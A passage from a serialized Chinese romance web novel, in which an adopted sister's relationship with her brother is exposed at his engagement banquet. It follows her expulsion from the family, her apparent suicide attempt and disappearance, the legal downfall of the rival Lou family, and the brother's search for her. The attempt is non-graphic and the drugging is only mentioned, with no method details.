时憬尝到了清甜的白葡萄酒,也尝到了兄长一如既往的温柔,她退开,终于说出自己的请求:“陆礼,不要和楼心月订婚。”
陆礼迟疑了一瞬,他有许多话想说,这场订婚不止为了彻底解决楼家、董事会的蛀虫,也是为了眼前的妹妹,只是这些事情太复杂,牵扯太多,说给妹妹听也只会让她担心而已。
他不舍得再让妹妹失望。
陆礼缓缓开口:“小舟——”
声音再一次被打断。
眼泪从妹妹的
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眼中滚落,她眼底的期望、请求、深情,在这一刻似乎都化成支离破碎的光,苍白的唇轻轻张合了下,温热的眼泪划过脸颊,她在问:“那我算什么?”
算打发寂寞和欲望的情人?
或者是个甩不开的麻烦?
可她——
“啊!!!!”一道绝望的尖叫声乍然从门口尚未的缝隙里传进来。
女人的嗓音本就尖锐,尖叫之下更为尖细,毫不费力地扎入每一个人的耳中,也传入宴会厅中。
宾客们纷纷投去不解的目光。
楼心月捂着嘴巴,像是受到了巨大冲击,一边呢喃着一边落泪,伸手指着休息室里的男女,“小憬妹妹,你们、你们在做什么?!!陆礼是你的哥哥啊!!”
女人愤怒地质问着,声音无比清晰地传入大半宴会厅中。
短短几句话惊起惊涛骇浪。
陆礼背对着门口,眼底划过冷色,他将时憬护在身后,现在的妹妹不能承受这份伤害,转头冷冷道:“闭嘴,走开!”
“你让谁闭嘴?”另一道声音也插了进来,带着强压的愤怒,出现在三人面前,陆母拨开楼心月,自己走了进去,反手关上门,指着陆礼问:“门口的人是谁?!是你的未婚妻!你在做什么?!啊!”陆母气到脸色发青,可她仍然记得要压低声音,不能再让外面的人听到任何动静!只要掩盖过去,今天在这个房间里发生的事情不会有第四个人知道!
但当她看见被儿子护在身后露出的半张脸,赫然就是那个她当成亲生女儿疼爱的孩子!
——是时憬!
却在哥哥的结婚典礼上做出这种事情!
陆母冲过去扬手朝着时憬落下,陆礼将人牢牢挡在身后,不让母亲靠近一步,任由愤怒的巴掌一下下落在他的身上、肩膀、脸上。
陆礼无声承受。
耳边还是母亲濒临崩溃的骂声,“你想做什么啊?!你们、你们到底想做什么!!你们要毁了陆家吗?!”
拍打的力气越来越轻,陆母力竭,眼神已非用失望来形容,“陆礼,她是你自己带回来的妹妹啊!!你们……有没有廉耻啊……你对得起心月吗?!”
第127章 从陆家出去
在陆母眼前,是他的儿子陆礼。
是她引以为傲的孩子——
现在他却像是昏了头,和他的妹妹在订婚宴会上、背着所有的宾客做这种不要脸的事情!今天是他和心月订个婚的日子啊!他的未婚妻就在门外啊!!
她愤怒着看着他。
不敢相信她的儿子会做出这样的举动!
陆礼的身躯高大,能完全挡住身后瘦弱的妹妹,也能挡住眼前的母亲,但他把妹妹护在身后,挡住她的眼睛,却腾不出手捂住她的耳朵。
面对母亲厉声质问,他并无太大起伏的情绪。
在他的计划中,这样的局面迟早会出现。
在他意料之外的是妹妹会在订婚这天跑回来。
她的骄横、跋扈、越矩,似乎是只在他的面前才敢表露,也是因为这一点,所以他才会放心妹妹暂时留在曼城,等他处理完这些事情后,再接她回来。
母亲的态度只会伤害脆弱的妹妹。
陆礼淡声开口,“妈,您这样会吓到时憬。”他一边平静地回应,一边给黄林发信息带妹妹离开。
因陆礼的这一句话,陆母的眼神从愤怒转为不敢置信的陌生。
她说了这么多,儿子让她闭嘴?
怕吓到身后的妹妹?
“为了她,你连妈妈的话都不听了吗?!”陆母抬起手,指向陆礼身后的方向,食指骨节微弓起,已经无力绷紧手指,到了现在她还记得压低声,怕这荒唐的一幕被外人看去,成他们的笑话,“陆礼,只要我在一日就不会承认你们这些事情!十年前你一声不吭突然把她带回来,我和你爸什么话都没有说,是我们纵容了你!现在我真后让她进了陆家!后悔十年前的一个心软造成现在的局面!”
陆母的每一句话,似是严寒风雪。
时憬如浸冰窖。
浑身冷得发痛。
这一日、这些终于来了。
她没有呼救,也没有道歉,任由痛感侵蚀自己。
陆礼冷冷打断:“您控制些情绪,仪式就快开始了。”
陆母:“你想继续订婚就应该给心月一个交代,把她——”
话音未落,隔着门传来混乱嘈杂声。
陆礼视线立刻看向门口,订婚仪式还未结束,楼家那些事情还未公布出去,外面是新出了什么事情?他仅思索一瞬,就朝门口走去,打开门。
楼心月已不在门外。
休息室的位置,恰好能将大半宴会厅收入眼中。
也能看见宴会厅左侧的大屏幕——那上面本该投放今日订婚二人的名字和一些现场实时的一些祝福语,现在却在播放一段视频。
视频拍摄环境昏暗,但依稀能看出被拍摄的人是谁。
男人是陆礼。
女人则是——
一开始宾客以为是仪式开始前的小节目,毕竟现在的年轻人喜欢在订婚、求婚、结婚这种人生重大节点,拍摄下记录的片段。
可看着看着,女方不像是楼心月。
视频里,他们在昏暗的路边拥吻。
他们在灯光璀璨的圣诞集市热吻。
最后是一段似乎是隔着很远的距离拍摄,镜头晃动的厉害,透过半敞开的窗帘,看见男人将女人压在沙发里亲吻……
最后一段视频,清晰地拍到女人的脸。
还真的不是楼心月,而是陆家的养女、陆礼的妹妹时憬!
宾客们瞬间哗然。
陆礼和自己的妹妹有一腿……?
看视频里时间跨度,绝对不止一朝一夕了!
现在这些视频又是谁放出来的?
为什么故意在订婚宴上放?
难怪今天没看见时憬——不对,是最近这段时间都没有见过这个陆家养女!
种种猜测在宴会厅里发酵。
陆母看见那些冲击的视频,看见宴会厅里乌泱泱的宾客,陆母一口气没有喘上来,捂着胸口晕了过去。
陆礼及时扶住母亲。
护工推着陆父疾行赶来,脸色严肃冷冽,他知道现在阻止宾客拍摄都是无用的,最想要确认家人的情况。
时憬也透过打开门看见了屏幕。
看见视频中的自己和陆礼。
听见那些嘈杂的声音,撞上那些光明正大看来的视线,混乱的脑海中变成一片空白。
接着,她看见爸爸急匆匆赶来。
她看见童宛也在朝她走来。
却有人把她拦住,不让她靠近。
还有形形**的人进来,门短暂被关上,有人在说话,说完后门再度被打开。
她看见陆礼靠近,低下头。
看见嘴唇张合地对她说了一句话,可她就像失聪了,一个声音都不听见,感受到他温热的掌心在发顶揉了下。
然后有人将她带走。
之后眼前的画面是扭曲的光影,灯光与黑暗交织。
脑中混沌、周身冰冷。
四周安静。
而车里也的确是无人说话,陆母受了刺激昏迷还未醒来,陆父担心妻子,一心都在陆母身上,而开车的耿叔和一旁的护工更不会在这种时候开口,只有暖气送风的声音。
黑色迈巴赫抵达陆园。
护工推着陆父下车。
耿叔背着陆母紧随其后。
还是陆父回了房间发现时憬迟迟没有跟上来,先让老耿先把妻子放在卧室床上,再让他去看看时憬,护工则被陆父打发回房间休息。
陆父知道妻子早已醒来。
或许是不愿面对现实,所以一直在装睡。
他经历了生死劫难,对很多事情都看开了,面对今天儿子和养女之间荒唐事,他也生气,但这些怒气在妻子昏厥后,也都被排在后面去了。
陆父起身,倒了杯温开水放在一边,耐心等着妻子‘醒来’。
但在醒来前,他没想到时憬还会上来。
他看着站在门口脸色憔悴、唇色发白的女孩,还是不忍心说出过分苛责的话,淡声说:“先回房休息,暂时别让你妈妈见到你,一切都等陆礼回来再说。”
站在门口的时憬如同空荡的人偶,望向躺在床上的陆母。
她不知道自己在哪儿,也不知道自己在做什么,甚至不知道爸爸和她说了什么,她只是看着妈妈。
直到陆母终于‘醒来’,时憬看见爸爸扶着她坐起,在妈妈看向她的时候,毫无情绪的眼中才有了些波动。
“是不是你……”
妈妈的嘴唇张合,听力似乎恢复。
时憬下意识想要摇头,但妈妈眼底的冷色却冻住她的动作。
“你过来…”
陆母继续开口。
时憬几乎是立刻抬脚进房间。
陆父看了眼靠近的时憬,隐隐觉得她有些不对
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劲,但此时仍是妻子更重要,他皱了下眉,打算等儿子回来后问一声,随后移开视线看向妻子,柔声道:“若云,你这才刚醒,今晚先好好休息,身体要紧,什么事情都明天再说。”
陆母恍若未闻,扶着床边下床站起,看着走到近前的时憬,眼底划过浓浓怒火,扬手甩过时憬的脸颊。
啪——
这一掌用了极大力气。
时憬毫无防备,险些跌倒。
“若云!”陆父低叫一声,拦住她的胳膊,生怕她情绪激动之下再动手。
陆母的手掌发麻,看着眼前故作可怜的女孩,恨声道:“当初是陆礼把你从那群穷亲戚里救出来,带你来了我们陆家才有了你这十年衣食无忧的好日子!我和你爸把你当成亲生女儿,这些年我们是怎么对你的!时憬——你就是这么报答我们的?!你已经害了一次陆家,现在要连陆礼也一起毁了吗!”
“若云,你冷静些…”
时憬看着妈妈愤怒地指着她说出这些话,看着爸爸抱着妈妈,正在低声安抚,混沌不清的脑中终于抓住了些碎片,她想起来了自己出现在陆礼的订婚宴上,想起自己对陆礼说的话、做的事,想起楼心月的尖叫,想起妈妈的呵斥,也想起了宴会厅里那一段视频……
时憬的眼瞳缓缓睁大。
爸爸妈妈都在这儿是订婚宴中止了?
那视频呢?
都多少人看见了?
有多少人看见她了?
她真的……真的破坏了陆礼的订婚?
她真的……真的……竟然真的从曼城回来了……她竟然真的这么做了……?
可她是怎么回来的?
什么时候回来了?
却完全想不起来!
无数恐惧从脚底攀爬缠绕,悄无声息地勒住她的脖子。
陆母双目发红地看着她,“那些视频也是你找人拍的、放出来的是不是?!”
视频是她放的吗?
她不记得了……
完全不记得了……
是她放的吗?
她不知道……
她不知道出现在订婚宴的自己是不是真的这么做了……
时憬僵硬着想要摇头,嗓音微弱:“我没拍……”
陆母根本不信她,“我给了你多少次机会,你都不肯迷途知返!现在还要撒谎骗我们吗!陆家对你还不够好吗?!你——你——”陆母脸色惨白一瞬,身体支撑不住的往后跌倒。
“若云!”陆父抱住妻子,神情紧张。
时憬也想要伸手扶住妈妈,却被陆母用力挥开。
啪——
这一声脆响,比刚才落在她脸上的更疼。
她不敢再触碰妈妈。
陆父低声催促:“你先出去,别——”
这一句话还未说完,就被陆母截断,她眼中早无往日的疼爱,自从看见他们那一幕后,心中累积的愤怒、失望都在此时扑向时憬,“出去……”
时憬仍望着妈妈。
她眼中没有过多的痛苦,只是唇色不见一丝血色。
这幅表情落在陆母眼中,让人想起来了十年前刚来家里时,时憬也是这样,博得他们的怜悯……现在她闯了这么大的祸,还想故技重施让他们可怜她吗?!
陆母冰冷地吐出每一个字:“从陆家出去——就当我这十年从来没养过你——”
第128章 只要她消失了
时憬浑身僵住,眼泪控制不住的涌出,胸口的疼痛像是要将她的身体撕裂。
这一天终于来临。
陆父立刻看向妻子,急声道:“若云,今天太晚了,再加上出了这么多事情,现在的状态不适合做任何决定,先休息一晚,任何事明天再说,好嘛?”他说着,又一边让时憬赶紧出去。
陆母抓着陆父拦住自己的胳膊,另一只手愤怒地指向时憬,“今天我就把话说清楚!有我在一天,你别想嫁进陆家!陆家也不会再认你这样心思不正的女儿!现在就给我离开!”
时憬安静地听着陆母的声音,没有认错及央求,只是目光仍看着她,唇瓣动了下,“妈妈……”
这个称呼才叫出口,就被陆母打断,“住口!我没你这个女儿!”
时憬流着眼泪,手指攥紧,连抠破的掌心都没有察觉到疼痛,她木讷地说着话,“对不起……让您伤心了……”她甚至找不出此刻能说出口的声音,苍白地说完后,向陆母与陆父鞠了一躬,转身离开。
陆父叫了声小憬,没有将人拦住,想要追上去,先把人安顿好,但妻子的状态实在太差,他分身无术,只能给老耿打了个电话,让他看着把人送到公寓或者陆礼那边去。
时憬不知该去哪儿。
也不知道自己是怎么上的出租车,更不知道下了车后要去什么地方,记忆混乱,她在黑夜胡乱前行。
她闯了祸,又连累了陆礼和陆家,于他们而言,她好像是个累赘,会不断制造麻烦的累赘,现在总算可以扔下她了……
她能去哪儿?
她还能去哪儿……
对…
春城……
她还能去春城…
可是,去了又怎么样?
她依旧要煎熬,甚至还会像现在这样做出自己完全不记的举动……继续拖累陆礼……给陆家惹麻烦么……
她好累……
什么都不想要了……
不想继续挣扎……
只要她消失了,就没有任何烦恼了……
对,只要她走了……
就好了……
混沌的黑夜仿佛结束了。
她听见了风声。
转头看去,旁边是一道桥,桥下有河水,河面泛着波光粼粼的月色,就像是十年前杭县的小河。
她抬脚,靠近。
握住冰冷的扶手,抬脚,踩上去——
将要落下时,耳边炸开刺耳的鸣笛声,接着是重物撞击声,她转头看去,一道刺目的光束射入眼中。
*
陆、楼两家订婚仪式仓促取消,有知情人向媒体爆料,说陆氏集团现任总裁与陆家养女时憬长期维持不正当关系,此事曝光后才紧急取消仪式。
在大家开始同情被蒙在鼓里的楼心月时,陆氏集团一纸诉状把楼家告上法庭,控诉楼家贿赂集团多位董事,利用不正当手段获取专利授权文件,窃获专利技术,采取低价不正当竞争等罪名,同时通过集团陆氏向**提供当事人血液检测报告,确认楼家利用非法手段令当事人喝下精神控制类药物,使其在意识不清状态下签下合约。
这一官司令沙市全城哗然!
紧接着,陆续有几家媒体跟着放出楼家近些年经营不善,资金运转已经开始出问题,所以才主动接触陆家开展合作,甚至把女儿楼心月送到陆氏学习,司马昭之心路人皆知。
楼家哪里想到陆礼会有这么一手!可当初签授权协议分明是陆礼主动配合!楼正贺气得半死,立刻联系娱记澄清,但还没来得及放出消息,警察就找上门来,核查楼正贺的确通过非法手段购买违禁药物记录。
楼正贺把最后的宝都押了下去,结果现在专利技术出现问题,生产线紧急叫停,楼正贺野心太大,提前签下多个合同,如今无法交付,要赔高额违约金,楼家落败,已成定局,再加上楼正贺可能还面临牢狱之灾。
哪怕楼心月恨得想骂楼正贺鼠目寸光,但眼下也不得不带着律师去探望他。
短短几日,楼正贺没了几天前的意气风发,满目戾气,在看见楼心月带着律师出现后,激动地拍着玻璃:“是他——TMD是他主动和我签的协议!!当时多少人都看到了!!心月!你也可以作证!!”
楼心月看着狂躁的哥哥,按着眉心,“好在你身上不止是专利授权的问题,你先冷静,听律师怎么说!”
律师翻
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了下记录,立刻开始询问贿赂一事是否属实。
楼正贺嗤笑一声,说陆礼连事情都没搞明白,是陆氏集团那几个董事看着楼家和陆家的关系,主动上来和他打好关系,不止给钱甚至还给他透露了专利详细内容,让他想办法拿下后,会给他介绍生意。
律师脸色凝重记录:“你收了他们多少?”
楼正贺:“没多少,就十来万——”
楼心月在律师变了脸色后不安,听见金额后眉心狠狠一跳:“你疯了?!那些人的钱你敢随便拿!!”
楼正贺叫嚣:“我拿了怎么了!那是他们讨好老子的!你和姓陆的勾搭上了,我拿点好处怎么了!归根结底是你没用!!连个男人都抓不住!”
眼看着兄妹俩要吵起来,律师及时出声制止,表示这个金额如果陆氏集团以**的名义检举,极有可能获三年以下**。
楼正贺脸色煞白,“什么…”
楼心月狠狠皱眉:“贪得无厌的下场!楼正贺,你什么时候变成这样了!”但骂归骂,她连忙问律师该怎么避免,否则经济罪+投放药物罪名加起来,至少六年!
律师:“陆氏集团现在是控诉楼先生贿赂,但目前对方针对这件事没有提供特别有利的证据,只是几顿饭局+饭局后的社交支出,如果陆氏愿意撤销这条控诉的话……或者是我们能有什么条件与陆氏商量,让他们取消控诉。”律师顿了顿,补充道:“陆氏集团家大业大,他们与不少企业也会有这经济**,但不会像这样……或者我再说得直白点,除了下药这件事外,你们什么时候还得罪过陆总?”
下药事情之外?
难道是她做的那些事情被陆礼知道了?
不不——如果他知道了,绝不会放过自己!现在陆礼摆明是冲着楼家和楼正贺来的,并不是冲着她!
楼心月强行冷静。
楼正贺反应极快,几乎整张脸都贴在玻璃上,瞪着楼心月:“是不是你和陆礼**事情被他知道了!他没办法拿他妈撒气所以才报复我们楼家!心月,你不是说录了像吗!现在你立刻拿着视频去找陆礼!求他也好!怎么都好!让他撤销诉讼!!”
第129章 他弄丢了小舟
律师闻言,扶了下眼镜,看向楼心月,语气严肃问道:“楼先生说的是什么视频?”
面对律师的询问,楼心月迟疑了下,并未立刻解答。
楼正贺急不可耐的出声:“是她说服陆母配合下——”
“哥!”
楼心月打断他的话,“这些事情之后我会自己和律师说,这儿是什么地方,不该说的话不要说!”她言辞犀利,说完后皱眉,“我早就劝过你不要太贪心,明明我都要和陆礼订婚了,结果非要狮子大开口问他要三年两项专利的授权!他面上是不计较,结果现在呢!订婚取消还把你弄进去了!”
楼正贺急躁的表情僵住,听着亲生妹妹数落自己的话,搞成现在这幅局面都成了他的错?
可要给陆礼下药的是她啊!
她让自己给她买药、给她找打手的时候,他可有拒绝过?!
他要三年的专利授权不都是为了楼家吗?!
他本来只打算要一年的啊!
是陆礼一口答应!
楼正贺不再看陌生的楼心月,一再向律师表示,协议是陆礼主动答应的!当时不止他在,楼心月、陆礼、陆母、还有陆礼的那个助理都在!我要是真的使用非法手段,他们那么多人都在难道不会阻止吗?还有药——我买了不假,但他们有什么证据能证明真的是我给他用了?律师,等你看了视频就知道了!我真的是无辜的啊!!”
楼心月脸色难看至极,
律师合上本子,“我尽力。”
离开看守所后,律师要求楼心月提供刚才提到的那个视频,身为律师,哪怕最后这个证据不会提交法庭,但他也必须掌握清楚。
楼心月使了些心思,提供给律师的是处理后的视频。
整段视频看起来就像是陆母在主动推进‘下药’一事,并要求楼心月配合一样,但也只是看起来而已。吃律师这碗饭,夸张点说就得有一双火眼精金,能辨别那些是虚假那些是真实。
视频看似连贯,但还是能看出些端倪。
而且视频里全程没有提到‘药’这一类的相关词。
律师心中有了数,脸上未显露,询问楼心月是出于什么目的要拍摄折断视频。
楼心月咬着唇,神情有些害怕道:“伯母提的这件事有些吓到我…怕事后有什么问题……所以才……”
律师点头,“原来如此。”
还不等楼心月神色缓和下来,律师接着问:“但从拍摄角度看,机器更像是一开始就已经架好,楼小姐是在见陆太太前已经猜到谈话内容,为自保才架的偷拍镜头么?”
楼心月表情僵硬。
律师却目光坦然的看她,等着她继续回答。
“是……”
律师颔首:“原来如此,既然楼小姐手上有这段视频,在下药一案中,的确能为楼正贺先生助力——”他语气严肃,“前提是这段视频是真实的,且不存在任何剪辑痕迹。”
楼心月脸色骤变。
事至此,再也瞒不下去。
律师紧接着表示他们需要并肩作战,才能为楼家争取到最大的胜算,楼小姐应该将真实的视频提供,也将真实的诉求告知他,因为从目前的证据看来,楼正贺的牢狱之灾难逃,他只能尽力为他争取减少服刑年数。
楼心月没想到陆礼会报案,刚没有想要那一天起他就做了血检报告,她不安到了极致——怕陆礼继续查下去,她做的那些事情也要瞒不住!
威胁她的那个人也还未行动,像一道铡刀悬在头顶。
她第一次做这些事情,根本不知道对方会如此贪婪至极!
她再怎么镇定,也在高压下快崩溃。
面对眼前律师的建议,她甚至无瑕辨别善恶,把真实视频提供后,对律师提出要求,如果楼正贺真的要坐牢,那就让他认下所有的事情,以此让陆家平息怒火。
楼正贺已经完了。
她不能再进去!
在解决完这些事情后,她要尽快离开沙市、不、要尽快出国!
而楼心月万万没想到,第二天警察上门,表明陆氏集团控告她**,利用媒体散播恶意谣言,对陆氏集团造成巨大经济损失、对时憬造成精神伤害,要求她配合调查。
当她看到一条条信息与一笔笔转账后,才知道威胁她的人本来是决定在订婚那日送她一份大礼的,但陆氏集团的律师在那一天联系上他们,拿到了这些证据。
帮助她和楼正贺的那个律师也是陆礼刻意安排的,为的就是确认楼心月手里是否有其他会威胁到时憬或陆氏集团的
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东西。
楼家兄妹锒铛入狱,传遍宣城、沙市街头巷尾,其中少不了陆氏集团的手笔。但在交际圈与陆氏总部,任谁也没有想到,总以优雅女神形象包装自己的楼心月竟然如此心狠手辣!
紧随其后,陆氏公关部也出了公告,称陆楼两家订婚就是为了调查信息泄露与**风波,并表示集团现任总裁陆礼先生已有未婚妻,就是时憬女士,二人在成年后正常交往多年,因顾及时憬女士年龄尚小,所以二人关系没有对外公布。经此多次风波,时憬女士身体抱恙正在国外疗养,待康复回国后将会举行婚礼。
这份声明更是在沙市社交圈中砸下一块巨石,也正是这份声明带来的影响,悄然盖住了陆氏集团股权架构变更,陆礼最终持股68%,重新将集团绝对控股权收入囊中。
但他却弄丢了捧在手心的妹妹。
*
四年后。
次日就是大年三十团圆夜,陆园里的气氛却异样冷清。
傍晚,陆母看向一旁结束通话的陆父,用眼神无声询问。
陆父收起手机,缓缓摇头。
陆母眼眶发红、难掩的伤心涌上心头,喉头微微哽咽,“四年了…小憬走了四年…他就恨了我这个母亲四年……连家都不肯再回来……”
陆父走到妻子身边,伸手揽住,手掌无声安抚。
他看着玻璃上的窗花,看着客厅里的新春装饰,这些往年都是妻子和女儿一起布置的。她们还要求一家四口都要穿上红色元素的衣服,坐在一起拍新年合照。
但在四年前,时憬不知所踪,也带走了陆园的欢声笑语,其乐融融的家变成了只剩下他与妻子。
陆父还能清晰的记起,那天晚上妻子在情绪失控下赶走女儿,他让老耿把人送去陆礼或者公寓那边。
在孩子与妻子间,他毫不犹豫选择了后者,他也认为自己的安排不会有任何问题,直到一个小时后,儿子打来电话说联系不上时憬。
陆父看着妻子默不作声的躺着,说了句稍等后下楼去敲了敲女儿的房门,无人应答,打开门里面也没人。
他打电话给老耿,老耿从大门外听来,“我接了电话后就一直在门口等着,没看见小姐出来啊,她不在房间里吗?”
第130章 他弄丢了小舟2
陆父说房里没人。
老耿嘀咕着说自己一直守在车里,真没看见人出来。
陆父没仔细听,想着女儿在外面就一套小公寓,但老耿在外面守着,没见着人出去,估计是在躲在家里什么地方了。
他理解妻子的愤怒,两个孩子在他们眼皮子底下私下来往估计有一段时间了,妻子无法接受兄妹变质,妻子盛怒之下难免口不择言,需要时间慢慢接受。
所以,陆父还算镇定。
让佣人、司机在陆园里找人,都没找到时憬的身影,还来不及担心,又接到陆礼的电话,说了家里没人、老耿一直守在门口后,电话里儿子语气大变,让他立马调出来门口出入的监控。
在陆礼往陆园赶时,陆父查监控,果真看见时憬上了一辆出租车。
老耿哎哟一声,说自己先前在房间里上厕所,接了电话立马就往外走了,估计是那会儿错过的。
这事也的确不怪老耿。
陆父记下车牌发给陆礼,又找人去联系出租车司机。
司机才收车不久,对从别墅区接的这单还有印象。上车的是个小姑娘,衣衫单薄,上车后缩在后排坐着,直到司机催了才报了地址,还没到地方,她突然又叫停车,付了车费后就下了车。
陆礼拿了地址后赶过去。
时憬下车的地方偏僻,只有一个监控摄像头,根本拍不到下车的位置,附近小路、窄路偏多,监控缺失,要找人如大海捞针。
陆礼没有浪费时间,选择报警。
“小憬也不是小孩子了,我们再去她公寓、或朋友那儿找找,才过了两三小时就报警——”
陆父的话被打断,听见陆礼将她的病情说出,紧接着陆礼又问在家里到底出了什么事情,时憬才会深夜外出。陆父脸色骤变,他想起孩子站在房门口时的表情,想起她哭着向他们鞠躬的模样,脑中渐生出一个噩耗来。
妻子与女儿之间发生的事情没有瞒住。
自那之后,陆礼再也没有回过陆园。
陆父收回思绪,耳边妻子的低啜声还在继续,“如果知道小憬的病…我再生气也不会说那些话……还把她赶了出去……那天晚上她不知道多难受……”越说下去,妻子的懊悔心痛愈发明显,“四年过去了……她要到什么时候才愿意回来见见我们……”
随着一天天过去,离别的痛苦早已盖过当日的愤怒。
陆母常枯坐在时憬房中,里面仍按着一年四季更替装饰,陆母也仍会参照时憬的喜好买回衣物首饰,半夜从梦里惊醒时,她也会哽咽说梦见当年的自己没有做那些蠢事,一家人其乐融融,女儿和孙辈围绕着她争先恐后的撒娇,可梦醒来仍旧是空荡荡的陆园。
陆父安慰她,没消息就是最好的消息。
但这四年里,也不是完全没消息。
在陆礼报警立案次日,就有人河边捡到时憬的手机交还,得知消息的那一瞬,陆母哭得险些晕厥过去。哪怕她再恨两个孩子的荒唐,哪怕那天她说了多少狠话,可小憬是她真心实意疼爱了十年的女儿啊!
幸好,打捞队没有从河里打捞出什么。
附近监控依旧不完善,当时又正值深夜,没有多少路过车辆或行人,线索寥寥。陆礼找了童宛,她亦没有妹妹的线索,他甚至飞去曼城,希望在曼城居住的地方找到一丝线索。
艾丽卡告诉他,在时憬回国前几日,有一位女士来找过她,两人似乎交谈的并不愉快,那位女士离开后,时憬就把自己锁在房里。
陆礼闻言停步,“你记得她叫什么名字?或是长相?”
艾丽卡描述了个大慨,又说:“那位女士还送了时憬一盒巧合力,现在应该还在她房间里。”
陆礼已猜到是谁,果真在时憬房间里找到了巧克力盒。
吃了四块,还剩下六块。
是楼心月来了。
又是她——
她在妹妹面前说了些什么才会让时憬那样失控的出现在订婚现场!
陆礼恨极,强行压下怒火,他环视房间。
这儿到处都是妹妹生活的痕迹,仿佛下一秒她就会从门口进来,惊喜的望着他,眼眸发亮的跑过来,投入他的怀中。
他在房间里找到一叠未写的信纸。
找到了治疗的药物,找到了助眠的药物,都放在床头,妹妹没有带走。
她离开的时候想做什么?
是不是备受煎熬?
陆礼抬手遮住眉眼,现在他没有时间用来伤心自责,他要尽快找到没有带药离开的妹妹,要尽快找到小舟。几息后,他掩盖狼狈的情绪,叮嘱艾丽卡如果有任何关于时憬的消息,第一时间联系他。
回沙市后,陆礼去见了楼心月。
案子还未经**审判,她被关押在看守所。
陆礼不愿多看她一眼,坐下后就问她去曼城究竟对时憬说了什么。
楼心月缓缓睁大眼,似乎是想到了什么,眼中绽放扭曲的笑容:“她是不是**?!她自尽了是不是?哈哈哈——是**还是跳水?还是安眠——”
“碰!”
陆礼的拳头重重砸在隔开的玻璃上。
动静大的警员不得不出声提醒一声。
楼心月被陆礼眼底冷鸷恐怖吓到,脸色刷的苍白。
陆礼如吐薄冰:“你对她做了什么,说。”
眼前男人的反应却也证实了楼心月的猜测,恐惧渐渐褪去后,她生出病态的快感,“她没死——如果她**你也不会来这样问我!”
陆礼视线冰冷,忽然一改威胁的语气,凑近玻璃,压低语气,说:“我可以让你被无罪释放,但只要你迈出看守所一步,就会有一群男人带你走……”
他看着楼心月的眼神从狂喜瞬间转变为惊怒,随着陆礼后面的话,她下意识环住自己的身体:“现在是……是……法制社会……你……你敢……”
陆礼后仰上身,靠在椅背上,视线投向她。
“我再给你最后一次机会,回答我,你对时憬究竟做了什么。”
他语气冷肃,表情不似玩笑。
恐惧像是冰冷的毒蛇缠绕上楼心月,她齿间瑟瑟发抖,仿佛已经能看见自己被凌虐的痛苦与绝望。不——不——她不能出去——
陆礼做得出来!
他甚至为了报复楼家、收拾陆氏集团那些蛀虫,耐着性子下了这么大一盘棋!
楼心月恐惧到流泪,把所有都说了。
包括她那晚他们之间发生的、未发生的事情,包括她在一颗巧克力里加了东西,为了让时憬情绪失控……
砰!
陆礼猛地站起。
身后的椅子倒地砸出声响。
他恶狠狠的盯着女人:“毒妇——”
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如果不是在看守所,如果不是有眼前的玻璃挡着,陆礼恨不能亲手掐死这个恶毒的女人!
如果不是她,时憬不会下落不明!
他要让楼家为毒妇付出代价!
在陆礼离开看守所,被他随身携带时憬的手机跳入一通未知来电。
他接通,并未说话。
对方开口满含歉意:“不好意思啊宋小姐,家里人生了急病,我得在医院陪护,定金我会全额退还的,真的不好意思啊。”
陆礼脚下步子一僵。
宋小姐?
但这是时憬的手机。
宋——
他思绪飞转,假意开口:“不好意思,你是不是打错电话了?”
对面听到是个陌生的男人声音,先是愣了下,安静片刻后才继续道:“没有错呀,是这个号码。请问您认识宋憬宋小姐么?”
时憬。
宋荌——如他没记错,时憬的生母,宋阿姨是叫这个名字。
宋憬。
妹妹为何要取这个假名?
陆礼:“宋憬是我的妹妹,我看来电显示没有备注以为是骚扰电话。她现在不在,请问你是哪位?等她回来后我再转达给她。”
“哦哦,是宋小姐的哥哥啊。是这样的,我预定三天后自驾去春城旅游,宋小姐在年前就定了我的车要一起去,但现在因为我家里有事春城的行程取消了,麻烦帮我和宋小姐说声抱歉。对了,宋小姐定金付款的账户退回去时显示的好像不是她的名字,我也不敢随便退。”
陆礼心底的怒火似被冷意扑灭。
他回车里,让对方截图把账号发来,他来确认。
许是陆礼拿着时憬的手机接听的,对方并未怀疑他的身份,很快将账号截图发来,显示也不是时憬的账号,而是一个陌生账户,对方称呼的确是这个账户转款给她的,还备注了是自驾游定金。
为怕陆礼不信,同样提供了截图。
他让黄林立刻去查这个账户信息,在等待期间,他再一次仔细查阅妹妹手机微信里的联系人。
在此之前,他从未怀疑过妹妹的消失是故意的。
他担心着时憬的安危,害怕她会伤害自己。
可今天这通电话他才知道妹妹背着他在计划着什么——
为什么要坐自驾车去春城?
他没办法查到她的车票信息。
为什么要通过陌生账户转账?
他同样没办法查到她的消费信息。
为什么要提供假名?
他查不到她的行程,甚至连载她的司机也不知道自己载过‘时憬’。
种种推测都指向一个结果。
陆礼握着手机的手收紧,他的身体因这个猜测而微微颤抖。
妹妹在策划着悄无声息的离开他们。
他怕自己猜错了方向,不论妹妹是因为什么而这么做,但都代表着如此缜密策划的时憬极有可能是安全的!
说不定她在遗失手机后,已经通过其他方式顺利抵达了春城。
硕大的欣喜包裹住他这几日疲惫的心脏。
他的小舟好好的还活着!
手机震动。
黄林:【这是一个房产中介的账户,我在网上找到了对方的联系方式,请问是否需要我联系对方?】
房产中介的出现更验证陆礼的猜测是正确的!
陆礼:【发来,我联系】
第131章 四年后1
对接的房产中介是位中年女士。
陆礼表明身份后,中介十分配合地将前因后果全部告知——
在元旦回国之前,时憬就与中介联系上了。
起先中介不愿接这笔生意,毕竟对方拒绝提供所有个人信息,后来时憬表示自己是华侨,租赁国内房产比较复杂,所以才请她帮忙,并提供一笔不菲的佣金。
中介这才同意。
时憬通过支付给中介现金,请对方帮忙签下春城一栋民宿为期一年的租约,期间都是中介与房东联系,时憬从未出面。
陆礼从中介手里拿到地址。
在赶去春城的路上,陆礼从时憬手机上找到了这一笔现金取用记录。
在去年十二月底,她回国参加童宛婚礼。
陆礼记得那段时间母亲已经怀疑他和妹妹的关系,不允许他们私底下接触,妹妹取钱那天,正好是她借口外出看病,而他也在那天想办法见到了妹妹。
他竟不知,妹妹那次回国做了这么多事情。
如果不是他拿到妹妹的手机,根本不会知道妹妹的计划。
时憬为什么要离开?
她又是从什么时候开始计划这些的?
这些问题在眼前在‘平安’二字面前已不再重要。
她平安活着比任何事都重要。
如果她不愿回沙市、回陆园,想要在春城旅居,他可以调整一部分工作,腾出空来尽可能在春城陪她,他希望妹妹在他目之所及之处,平安快乐。
陆礼抵达春城那座民宿后,钥匙仍放在约定好的地方,民宿里空无一人。
时憬不在民宿!
是她还未赶来吗?
一定是的。
